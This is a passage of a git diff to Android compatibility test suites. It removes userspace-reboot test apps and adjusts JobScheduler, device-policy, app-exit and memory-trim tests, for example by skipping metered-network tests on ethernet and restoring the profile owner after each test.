-package com.android.cts.userspacereboot.basic;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.content.BroadcastReceiver;
-import android.content.ContentProvider;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.Intent;
-import android.database.Cursor;
-import android.database.MatrixCursor;
-import android.net.Uri;
-import android.os.PowerManager;
-import android.util.Log;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.OutputStreamWriter;
-import java.io.PrintWriter;
-
-/**
- * A test app called from {@link com.android.cts.userspacereboot.host.UserspaceRebootHostTest} to
- * verify basic properties around userspace reboot.
- *
- * <p>Additionally it's used as a test app to receive {@link Intent.ACTION_BOOT_COMPLETED}
- * broadcast. Another test app {@link
- * com.android.cts.userspacereboot.bootcompleted.com.android.cts.userspacereboot.bootcompleted} will
- * query a {@link ContentProvider} exposed by this app in order to verify that broadcast was
- * received.
- *
- * <p>Such separation is required due to the fact, that when {@code adb shell am instrument} is
- * called for an app, it will always force stop that app. This means that if we start an
- * instrumentation test in the same app that listens for {@link Intent.ACTION_BOOT_COMPLETED}
- * broadcast, we might end up not receiving broadcast at all, because {@link
- * Intent.ACTION_BOOT_COMPLETED} is not delivered to stopped apps.
- */
-@RunWith(JUnit4.class)
-public class BasicUserspaceRebootTest {
-
- private static final String TAG = "UserspaceRebootTest";
-
- private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
-
- /**
- * Tests that {@link PowerManager#isRebootingUserspaceSupported()} returns {@code true}.
- */
- @Test
- public void testUserspaceRebootIsSupported() {
- PowerManager powerManager = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
- assertThat(powerManager.isRebootingUserspaceSupported()).isTrue();
- }
-
- /**
- * Tests that {@link PowerManager#isRebootingUserspaceSupported()} returns {@code false}.
- */
- @Test
- public void testUserspaceRebootIsNotSupported() {
- PowerManager powerManager = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
- assertThat(powerManager.isRebootingUserspaceSupported()).isFalse();
- assertThrows(UnsupportedOperationException.class,
- () -> powerManager.reboot("userspace"));
- }
-
- /**
- * Deletes test file in app data directory if necessary.
- */
- @Test
- public void prepareFile() throws Exception {
- Context de = mContext.createDeviceProtectedStorageContext();
- de.deleteFile(Intent.ACTION_BOOT_COMPLETED.toLowerCase());
- }
-
- /**
- * Receiver of {@link Intent.ACTION_LOCKED_BOOT_COMPLETED} and
- * {@link Intent.ACTION_BOOT_COMPLETED} broadcasts.
- */
- public static class BootReceiver extends BroadcastReceiver {
-
- @Override
- public void onReceive(Context context, Intent intent) {
- Log.i(TAG, "Received! " + intent);
- String fileName = intent.getAction().toLowerCase();
- try (PrintWriter writer = new PrintWriter(new OutputStreamWriter(
- context.createDeviceProtectedStorageContext().openFileOutput(
- fileName, Context.MODE_PRIVATE)))) {
- writer.println(intent.getAction());
- } catch (IOException e) {
- Log.w(TAG, "Failed to append to " + fileName, e);
- }
- }
- }
-
- /**
- * Returns whenever {@link Intent.ACTION_LOCKED_BOOT_COMPLETED} and
- * {@link Intent.ACTION_BOOT_COMPLETED} broadcast were received.
- */
- public static class Provider extends ContentProvider {
-
- @Override
- public boolean onCreate() {
- return true;
- }
-
- @Override
- public String getType(Uri uri) {
- return "vnd.android.cursor.item/com.android.cts.userspacereboot.basic.exists";
- }
-
- @Override
- public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
- String sortOrder) {
- Context de = getContext().createDeviceProtectedStorageContext();
- File locked_boot_completed = new File(
- de.getFilesDir(), Intent.ACTION_LOCKED_BOOT_COMPLETED.toLowerCase());
- File boot_completed = new File(
- de.getFilesDir(), Intent.ACTION_BOOT_COMPLETED.toLowerCase());
- MatrixCursor cursor = new MatrixCursor(
- new String[]{ "locked_boot_completed", "boot_completed"});
- cursor.addRow(new Object[] {
- locked_boot_completed.exists() ? 1 : 0, boot_completed.exists() ? 1 : 0 });
- return cursor;
- }
-
- @Override
- public Uri insert(Uri uri, ContentValues values) {
- throw new UnsupportedOperationException();
- }
-
- @Override
- public int delete(Uri uri, String selection, String[] selectionArgs) {
- throw new UnsupportedOperationException();
- }
-
- @Override
- public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
- throw new UnsupportedOperationException();
- }
- }
-}
diff --git a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/AndroidManifest.xml b/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/AndroidManifest.xml
deleted file mode 100644
index 03feb434e6e..00000000000
--- a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/AndroidManifest.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2020 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.userspacereboot.bootcompleted" >
-
- <application>
- <uses-library android:name="android.test.runner" />
- </application>
-
- <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="com.android.cts.userspacereboot.bootcompleted"
- android:label="Boot Completed userspace reboot device side tests"/>
-</manifest>
diff --git a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/src/com/android/cts/userspacereboot/bootcompleted/BootCompletedUserspaceRebootTest.java b/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/src/com/android/cts/userspacereboot/bootcompleted/BootCompletedUserspaceRebootTest.java
deleted file mode 100644
index 4a512ced255..00000000000
--- a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/src/com/android/cts/userspacereboot/bootcompleted/BootCompletedUserspaceRebootTest.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.userspacereboot.bootcompleted;
-
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.content.Context;
-import android.content.Intent;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.UserManager;
-import android.util.Log;
-
-import com.android.compatibility.common.util.TestUtils;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-import java.io.OutputStreamWriter;
-import java.time.Duration;
-import java.util.Scanner;
-
-/**
- * A test app called from {@link com.android.cts.userspacereboot.host.UserspaceRebootHostTest} to
- * verify CE storage related properties of userspace reboot.
- */
-@RunWith(JUnit4.class)
-public class BootCompletedUserspaceRebootTest {
-
- private static final String TAG = "UserspaceRebootTest";
-
- private static final String FILE_NAME = "secret.txt";
- private static final String SECRET_MESSAGE = "wow, much secret";
-
- private static final Duration LOCKED_BOOT_TIMEOUT = Duration.ofMinutes(3);
- private static final Duration BOOT_TIMEOUT = Duration.ofMinutes(6);
-
- private final Context mCeContext = getInstrumentation().getContext();
- private final Context mDeContext = mCeContext.createDeviceProtectedStorageContext();
-
- /**
- * Writes to a file in CE storage of {@link BootCompletedUserspaceRebootTest}.
- *
- * <p>Reading content of this file is used by other test cases in this class to verify that CE
- * storage is unlocked after userspace reboot.
- */
- @Test
- public void prepareFile() throws Exception {
- try (OutputStreamWriter writer = new OutputStreamWriter(
- mCeContext.openFileOutput(FILE_NAME, Context.MODE_PRIVATE))) {
- writer.write(SECRET_MESSAGE);
- }
- }
-
- /**
- * Tests that CE storage is unlocked by reading content of a file in CE storage.
- */
- @Test
- public void testVerifyCeStorageUnlocked() throws Exception {
- UserManager um = getInstrumentation().getContext().getSystemService(UserManager.class);
- assertThat(um.isUserUnlocked()).isTrue();
- try (Scanner scanner = new Scanner(mCeContext.openFileInput(FILE_NAME))) {
- final String content = scanner.nextLine();
- assertThat(content).isEqualTo(SECRET_MESSAGE);
- }
- }
-
- /**
- * Tests that {@link Intent.ACTION_LOCKED_BOOT_COMPLETED} broadcast was sent.
- */
- @Test
- public void testVerifyReceivedLockedBootCompletedBroadcast() throws Exception {
- waitForBroadcast(Intent.ACTION_LOCKED_BOOT_COMPLETED, LOCKED_BOOT_TIMEOUT);
- }
-
- /**
- * Tests that {@link Intent.ACTION_BOOT_COMPLETED} broadcast was sent.
- */
- @Test
- public void testVerifyReceivedBootCompletedBroadcast() throws Exception {
- waitForBroadcast(Intent.ACTION_BOOT_COMPLETED, BOOT_TIMEOUT);
- }
-
- private void waitForBroadcast(String intent, Duration timeout) throws Exception {
- TestUtils.waitUntil(
- "Didn't receive broadcast " + intent + " in " + timeout,
- (int) timeout.getSeconds(),
- () -> queryBroadcast(intent));
- }
-
- private boolean queryBroadcast(String intent) {
- Uri uri = Uri.parse("content://com.android.cts.userspacereboot.basic/files/"
- + intent.toLowerCase());
- Cursor cursor = mDeContext.getContentResolver().query(uri, null, null, null, null);
- if (cursor == null) {
- return false;
- }
- if (!cursor.moveToFirst()) {
- Log.w(TAG, "Broadcast: " + intent + " cursor is empty");
- return false;
- }
- String column = intent.equals(Intent.ACTION_LOCKED_BOOT_COMPLETED)
- ? "locked_boot_completed"
- : "boot_completed";
- int index = cursor.getColumnIndex(column);
- return cursor.getInt(index) == 1;
- }
-}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
index cbb84c14756..b440d83c819 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
@@ -18,6 +18,7 @@ package android.jobscheduler.cts;
import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
import static android.net.NetworkCapabilities.NET_CAPABILITY_VALIDATED;
import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
+import static android.net.NetworkCapabilities.TRANSPORT_ETHERNET;
import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
import static com.android.compatibility.common.util.TestUtils.waitUntil;
@@ -87,6 +88,8 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest {
private boolean mHasWifi;
/** Whether the device running these tests supports telephony. */
private boolean mHasTelephony;
+ /** Whether the device running these tests supports ethernet. */
+ private boolean mHasEthernet;
/** Track whether WiFi was enabled in case we turn it off. */
private boolean mInitialWiFiState;
/** Track initial WiFi metered state. */
@@ -113,6 +116,7 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest {
PackageManager packageManager = mContext.getPackageManager();
mHasWifi = packageManager.hasSystemFeature(PackageManager.FEATURE_WIFI);
mHasTelephony = packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+ mHasEthernet = packageManager.hasSystemFeature(PackageManager.FEATURE_ETHERNET);
mBuilder = new JobInfo.Builder(CONNECTIVITY_JOB_ID, kJobServiceComponent);
if (mHasWifi) {
@@ -267,6 +271,10 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest {
* on a metered wifi connection.
*/
public void testConnectivityConstraintExecutes_withMeteredWifi() throws Exception {
+ if (hasEthernetConnection()) {
+ Log.d(TAG, "Skipping test since ethernet is connected.");
+ return;
+ }
if (!mHasWifi) {
return;
}
@@ -338,6 +346,10 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest {
* on a mobile data connection.
*/
public void testConnectivityConstraintExecutes_metered_Wifi() throws Exception {
+ if (hasEthernetConnection()) {
+ Log.d(TAG, "Skipping test since ethernet is connected.");
+ return;
+ }
if (!mHasWifi) {
return;
}
@@ -360,6 +372,10 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest {
* is in the foreground.
*/
public void testCellularConstraintExecutedAndStopped_Foreground() throws Exception {
+ if (hasEthernetConnection()) {
+ Log.d(TAG, "Skipping test since ethernet is connected.");
+ return;
+ }
if (mHasWifi) {
setWifiMeteredState(true);
} else if (checkDeviceSupportsMobileData()) {
@@ -395,6 +411,11 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest {
Log.d(TAG, "App standby not enabled");
return;
}
+ // We're skipping this test because we can't make the ethernet connection metered.
+ if (hasEthernetConnection()) {
+ Log.d(TAG, "Skipping test since ethernet is connected.");
+ return;
+ }
if (mHasWifi) {
setWifiMeteredState(true);
} else if (checkDeviceSupportsMobileData()) {
@@ -460,6 +481,10 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest {
* when Data Saver is on and the device is not connected to WiFi.
*/
public void testFgExpeditedJobBypassesDataSaver() throws Exception {
+ if (hasEthernetConnection()) {
+ Log.d(TAG, "Skipping test since ethernet is connected.");
+ return;
+ }
if (mHasWifi) {
setWifiMeteredState(true);
} else if (checkDeviceSupportsMobileData()) {
@@ -574,20 +599,22 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest {
.getNetworkCapabilities(params.getNetwork());
assertTrue(nr.canBeSatisfiedBy(capabilities));
- // Deadline passed with no network satisfied.
- setAirplaneMode(true);
- ji = mBuilder
- .setRequiredNetwork(nr)
- .setOverrideDeadline(0)
- .build();
+ if (!hasEthernetConnection()) {
+ // Deadline passed with no network satisfied.
+ setAirplaneMode(true);
+ ji = mBuilder
+ .setRequiredNetwork(nr)
+ .setOverrideDeadline(0)
+ .build();
- kTestEnvironment.setExpectedExecutions(1);
- mJobScheduler.schedule(ji);
- runSatisfiedJob(CONNECTIVITY_JOB_ID);
- assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+ kTestEnvironment.setExpectedExecutions(1);
+ mJobScheduler.schedule(ji);
+ runSatisfiedJob(CONNECTIVITY_JOB_ID);
+ assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
- params = kTestEnvironment.getLastStartJobParameters();
- assertNull(params.getNetwork());
+ params = kTestEnvironment.getLastStartJobParameters();
+ assertNull(params.getNetwork());
+ }
// No network requested
setAirplaneMode(false);
@@ -701,6 +728,10 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest {
* the device is connected to a metered WiFi provider.
*/
public void testUnmeteredConstraintFails_withMeteredWiFi() throws Exception {
+ if (hasEthernetConnection()) {
+ Log.d(TAG, "Skipping test since ethernet is connected.");
+ return;
+ }
if (!mHasWifi) {
Log.d(TAG, "Skipping test that requires the device be WiFi enabled.");
return;
@@ -746,6 +777,10 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest {
* when Data Saver is on and the device is not connected to WiFi.
*/
public void testBgExpeditedJobDoesNotBypassDataSaver() throws Exception {
+ if (hasEthernetConnection()) {
+ Log.d(TAG, "Skipping test since ethernet is connected.");
+ return;
+ }
if (mHasWifi) {
setWifiMeteredState(true);
} else if (checkDeviceSupportsMobileData()) {
@@ -832,6 +867,18 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest {
return false;
}
+ private boolean hasEthernetConnection() {
+ if (!mHasEthernet) return false;
+ Network[] networks = mCm.getAllNetworks();
+ for (Network network : networks) {
+ if (mCm.getNetworkCapabilities(network)
+ .hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
private String unquoteSSID(String ssid) {
// SSID is returned surrounded by quotes if it can be decoded as UTF-8.
// Otherwise it's guaranteed not to start with a quote.
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
index 4909ce2b704..c2dfa2400dc 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
@@ -122,7 +122,7 @@ public class JobParametersTest extends BaseJobSchedulerTest {
+ " " + JOB_ID));
// In automotive device, always-on screen and endless battery charging are assumed.
- if (!isAutomotiveDevice()) {
+ if (BatteryUtils.hasBattery() && !isAutomotiveDevice()) {
BatteryUtils.runDumpsysBatterySetLevel(100);
BatteryUtils.runDumpsysBatteryUnplug();
verifyStopReason(new JobInfo.Builder(JOB_ID, kJobServiceComponent)
diff --git a/tests/admin/Android.bp b/tests/admin/Android.bp
index 9ad006eeb12..3c2c59a1968 100644
--- a/tests/admin/Android.bp
+++ b/tests/admin/Android.bp
@@ -25,6 +25,7 @@ android_test {
"mockito-target-minus-junit4",
"truth-prebuilt",
"testng",
+ "Nene",
],
libs: [
"android.test.runner",
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index c0b30b797f1..ef5c0691b77 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -41,6 +41,9 @@ import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.Suppress;
import android.util.Log;
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
import com.android.compatibility.common.util.SystemUtil;
import java.io.ByteArrayInputStream;
@@ -105,14 +108,6 @@ public class DevicePolicyManagerTest extends AndroidTestCase {
mPackageManager.hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN);
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- SystemUtil.runShellCommand(
- "dpm set-profile-owner --user cur "
- + DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString());
- }
-
public void testGetActiveAdmins() {
if (!mDeviceAdmin) {
Log.w(TAG, "Skipping testGetActiveAdmins");
@@ -124,7 +119,7 @@ public class DevicePolicyManagerTest extends AndroidTestCase {
assertTrue(mDevicePolicyManager.isAdminActive(mComponent));
}
- public void testSetGetPreferentialNetworkServiceEnabled() {
+ public void testSetGetPreferentialNetworkServiceEnabled() throws Exception {
if (!mDeviceAdmin) {
Log.w(TAG, "Skipping testSetGetPreferentialNetworkServiceEnabled");
return;
@@ -137,7 +132,11 @@ public class DevicePolicyManagerTest extends AndroidTestCase {
() -> mDevicePolicyManager.isPreferentialNetworkServiceEnabled());
} catch (SecurityException se) {
Log.w(TAG, "Test is not a profile owner and there is no need to clear.");
+ } finally {
+ setProfileOwnerAndWaitForSuccess(
+ DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString());
}
+
}
public void testKeyguardDisabledFeatures() {
@@ -1184,7 +1183,8 @@ public class DevicePolicyManagerTest extends AndroidTestCase {
}
}
- public void testSetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner() {
+ public void testSetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner()
+ throws Exception {
if (!mDeviceAdmin) {
String message =
"Skipping"
@@ -1192,15 +1192,21 @@ public class DevicePolicyManagerTest extends AndroidTestCase {
Log.w(TAG, message);
return;
}
- mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent());
- assertThrows(
- SecurityException.class,
- () ->
- mDevicePolicyManager.setNearbyNotificationStreamingPolicy(
- DevicePolicyManager.NEARBY_STREAMING_ENABLED));
+ try {
+ tryClearProfileOwner();
+ assertThrows(
+ SecurityException.class,
+ () ->
+ mDevicePolicyManager.setNearbyNotificationStreamingPolicy(
+ DevicePolicyManager.NEARBY_STREAMING_ENABLED));
+ } finally {
+ setProfileOwnerAndWaitForSuccess(
+ DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString());
+ }
}
- public void testGetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner() {
+ public void testGetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner()
+ throws Exception {
if (!mDeviceAdmin) {
String message =
"Skipping"
@@ -1208,36 +1214,69 @@ public class DevicePolicyManagerTest extends AndroidTestCase {
Log.w(TAG, message);
return;
}
- mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent());
- assertThrows(
- SecurityException.class,
- () -> mDevicePolicyManager.getNearbyNotificationStreamingPolicy());
+ try {
+ tryClearProfileOwner();
+ assertThrows(
+ SecurityException.class,
+ () -> mDevicePolicyManager.getNearbyNotificationStreamingPolicy());
+ } finally {
+ setProfileOwnerAndWaitForSuccess(
+ DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString());
+ }
}
- public void testSetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner() {
+ public void testSetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner() throws Exception {
if (!mDeviceAdmin) {
String message =
"Skipping testSetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner";
Log.w(TAG, message);
return;
}
- mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent());
- assertThrows(
- SecurityException.class,
- () ->
- mDevicePolicyManager.setNearbyAppStreamingPolicy(
- DevicePolicyManager.NEARBY_STREAMING_ENABLED));
+ try {
+ tryClearProfileOwner();
+ assertThrows(
+ SecurityException.class,
+ () ->
+ mDevicePolicyManager.setNearbyAppStreamingPolicy(
+ DevicePolicyManager.NEARBY_STREAMING_ENABLED));
+ } finally {
+ setProfileOwnerAndWaitForSuccess(
+ DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString());
+ }
}
- public void testGetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner() {
+ public void testGetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner() throws Exception {
if (!mDeviceAdmin) {
String message =
"Skipping testGetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner";
Log.w(TAG, message);
return;
}
- mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent());
- assertThrows(
- SecurityException.class, () -> mDevicePolicyManager.getNearbyAppStreamingPolicy());
+ try {
+ tryClearProfileOwner();
+ assertThrows(
+ SecurityException.class,
+ () -> mDevicePolicyManager.getNearbyAppStreamingPolicy());
+ } finally {
+ setProfileOwnerAndWaitForSuccess(
+ DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString());
+ }
+ }
+
+ private void setProfileOwnerAndWaitForSuccess(String componentName)
+ throws InterruptedException, AdbException {
+ ShellCommand.builder("dpm set-profile-owner")
+ .addOperand("--user cur")
+ .addOperand(componentName)
+ .validate(ShellCommandUtils::startsWithSuccess)
+ .executeUntilValid();
+ }
+
+ private void tryClearProfileOwner() {
+ try {
+ mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent());
+ } catch (SecurityException se) {
+ Log.w(TAG, "Test is not a profile owner and there is no need to clear.");
+ }
}
}
diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
index db74563a436..27378c3d08d 100644
--- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
+++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
@@ -55,6 +55,7 @@ import android.util.Log;
import android.util.Pair;
import com.android.compatibility.common.util.AmMonitor;
+import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.ShellIdentityUtils;
import com.android.compatibility.common.util.SystemUtil;
import com.android.internal.util.ArrayUtils;
@@ -103,6 +104,8 @@ public final class ActivityManagerAppExitInfoTest extends InstrumentationTestCas
private static final int EXIT_CODE = 123;
private static final int CRASH_SIGNAL = OsConstants.SIGSEGV;
+ private static final int TOMBSTONE_FETCH_TIMEOUT_MS = 10_000;
+
private static final int WAITFOR_MSEC = 10000;
private static final int WAITFOR_SETTLE_DOWN = 2000;
@@ -840,17 +843,11 @@ public final class ActivityManagerAppExitInfoTest extends InstrumentationTestCas
verify(list.get(0), mStubPackagePid, mStubPackageUid, STUB_PACKAGE_NAME,
ApplicationExitInfo.REASON_CRASH_NATIVE, null, null, now, now2);
- InputStream trace = ShellIdentityUtils.invokeMethodWithShellPermissions(
- list.get(0),
- (i) -> {
- try {
- return i.getTraceInputStream();
- } catch (IOException ex) {
- return null;
- }
- },
- android.Manifest.permission.DUMP);
+ TombstoneFetcher tombstoneFetcher = new TombstoneFetcher(list.get(0));
+ PollingCheck.check("not able to get tombstone", TOMBSTONE_FETCH_TIMEOUT_MS,
+ () -> tombstoneFetcher.fetchTrace());
+ InputStream trace = tombstoneFetcher.getTrace();
assertNotNull(trace);
Tombstone tombstone = Tombstone.parseFrom(trace);
assertEquals(tombstone.getPid(), mStubPackagePid);
@@ -1242,4 +1239,31 @@ public final class ActivityManagerAppExitInfoTest extends InstrumentationTestCas
assertTrue(ArrayUtils.equals(info.getProcessStateSummary(), cookie,
cookie == null ? 0 : cookie.length));
}
+
+ private static class TombstoneFetcher {
+ private InputStream mTrace = null;
+ private final ApplicationExitInfo mExitInfo;
+
+ TombstoneFetcher(ApplicationExitInfo exitInfo) {
+ mExitInfo = exitInfo;
+ }
+
+ public InputStream getTrace() {
+ return mTrace;
+ }
+
+ public boolean fetchTrace() throws Exception {
+ mTrace = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mExitInfo,
+ (i) -> {
+ try {
+ return i.getTraceInputStream();
+ } catch (IOException ex) {
+ return null;
+ }
+ },
+ android.Manifest.permission.DUMP);
+ return (mTrace != null);
+ }
+ }
}
diff --git a/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt b/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt
index 3d48dccb4d0..6b84cd30afb 100644
--- a/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt
+++ b/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt
@@ -68,8 +68,16 @@ open class NotificationTemplateTestBase : AndroidTestCase() {
}
protected fun createBitmap(width: Int, height: Int): Bitmap =
- Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888).also {
- it.eraseColor(Color.GRAY)
+ Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888).apply {
+ // IMPORTANT: Pass current DisplayMetrics when creating a Bitmap, so that it
+ // receives the correct density. Otherwise, the Bitmap may get the default density
+ // (DisplayMetrics.DENSITY_DEVICE), which in some cases (eg. for apps running in
+ // compat mode) may be different from the actual density the app is rendered with.
+ // This would lead to the Bitmap eventually being rendered with different sizes,
+ // than the ones passed here.
+ density = context.resources.displayMetrics.densityDpi
+
+ eraseColor(Color.GRAY)
}
protected fun makeCustomContent(): RemoteViews {
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index 4b6ce27e018..54eae98d0df 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -89,6 +89,7 @@ import java.util.Set;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
import java.util.function.Predicate;
import java.util.function.Supplier;
@@ -1312,8 +1313,12 @@ public class ActivityManagerTest extends InstrumentationTestCase {
final WatchUidRunner watcher3 = new WatchUidRunner(mInstrumentation, ai3.uid, waitForSec);
final CountDownLatch[] latchHolder = new CountDownLatch[1];
- final int[] levelHolder = new int[1];
- final Bundle extras = initWaitingForTrimLevel(latchHolder, levelHolder);
+ final int[] expectedLevel = new int[1];
+ final Bundle extras = initWaitingForTrimLevel(level -> {
+ if (level == expectedLevel[0]) {
+ latchHolder[0].countDown();
+ }
+ });
try {
// Make sure we could start activity from background
SystemUtil.runShellCommand(mInstrumentation,
@@ -1326,6 +1331,7 @@ public class ActivityManagerTest extends InstrumentationTestCase {
toggleScreenOn(true);
latchHolder[0] = new CountDownLatch(1);
+ expectedLevel[0] = TRIM_MEMORY_RUNNING_MODERATE;
// Start an activity
CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
@@ -1337,54 +1343,63 @@ public class ActivityManagerTest extends InstrumentationTestCase {
SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set MODERATE");
assertTrue("Failed to wait for the trim memory event",
latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
- assertEquals(TRIM_MEMORY_RUNNING_MODERATE, levelHolder[0]);
latchHolder[0] = new CountDownLatch(1);
+ expectedLevel[0] = TRIM_MEMORY_RUNNING_LOW;
// Force the memory pressure to low
SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set LOW");
assertTrue("Failed to wait for the trim memory event",
latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
- assertEquals(TRIM_MEMORY_RUNNING_LOW, levelHolder[0]);
latchHolder[0] = new CountDownLatch(1);
+ expectedLevel[0] = TRIM_MEMORY_RUNNING_CRITICAL;
// Force the memory pressure to critical
SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set CRITICAL");
assertTrue("Failed to wait for the trim memory event",
latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
- assertEquals(TRIM_MEMORY_RUNNING_CRITICAL, levelHolder[0]);
+
